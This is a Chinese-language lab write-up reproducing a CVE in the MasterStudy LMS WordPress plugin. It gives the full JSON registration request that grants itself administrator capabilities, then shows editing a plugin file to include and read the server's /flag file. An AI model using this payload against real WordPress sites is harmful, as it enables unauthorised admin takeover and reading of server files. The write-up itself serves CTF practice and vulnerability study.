前言
第六篇CVE复现,觉得还不错的靓仔靓女们可以点点赞。
漏洞复现
靶场信息如下图所示。
打开靶场主页面,查看页面的源代码,并查询关键字stm_lms_register,它所对应的值就是nonce参数的值,如下图所示。
访问路径 /wp-admin/admin-ajax.php?action=stm_lms_register&nonce=0dca18e2ba 并使用burpsuite进行抓包,改请求方式为POST,POST请求参数如下(nonce的值记得改一改):
{"user_login":"USERNAME","user_email":"123456789@qq.com","user_password":"Password123","user_password_re":"Password123","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
发送报文后提示成功添加用户,如下图所示。
添加用户完毕后访问wp-login.php跳转到后台登录页面,使用上面添加的邮箱信息和密码登入后台。
登入后台的页面如下图所示,后台没有直接显示出flag的内容,所以需要同时利用wordpress的后台漏洞来读取文件。
在左侧菜单栏的“插件”处可以直接编辑插件里的PHP文件,直接在插件文件中添加代码:require_once("/flag"); 将flag文件包含到此文件中,如下图所示。
注意这里的插件要选择当前漏洞对应的插件,其他插件可能不在可使用状态,因为题目里说的是插件MasterStudy LMS的漏洞,所以最好选择这个插件的文件进行编辑。
最后访问刚刚编辑过的插件文件,得到flag如下图所示。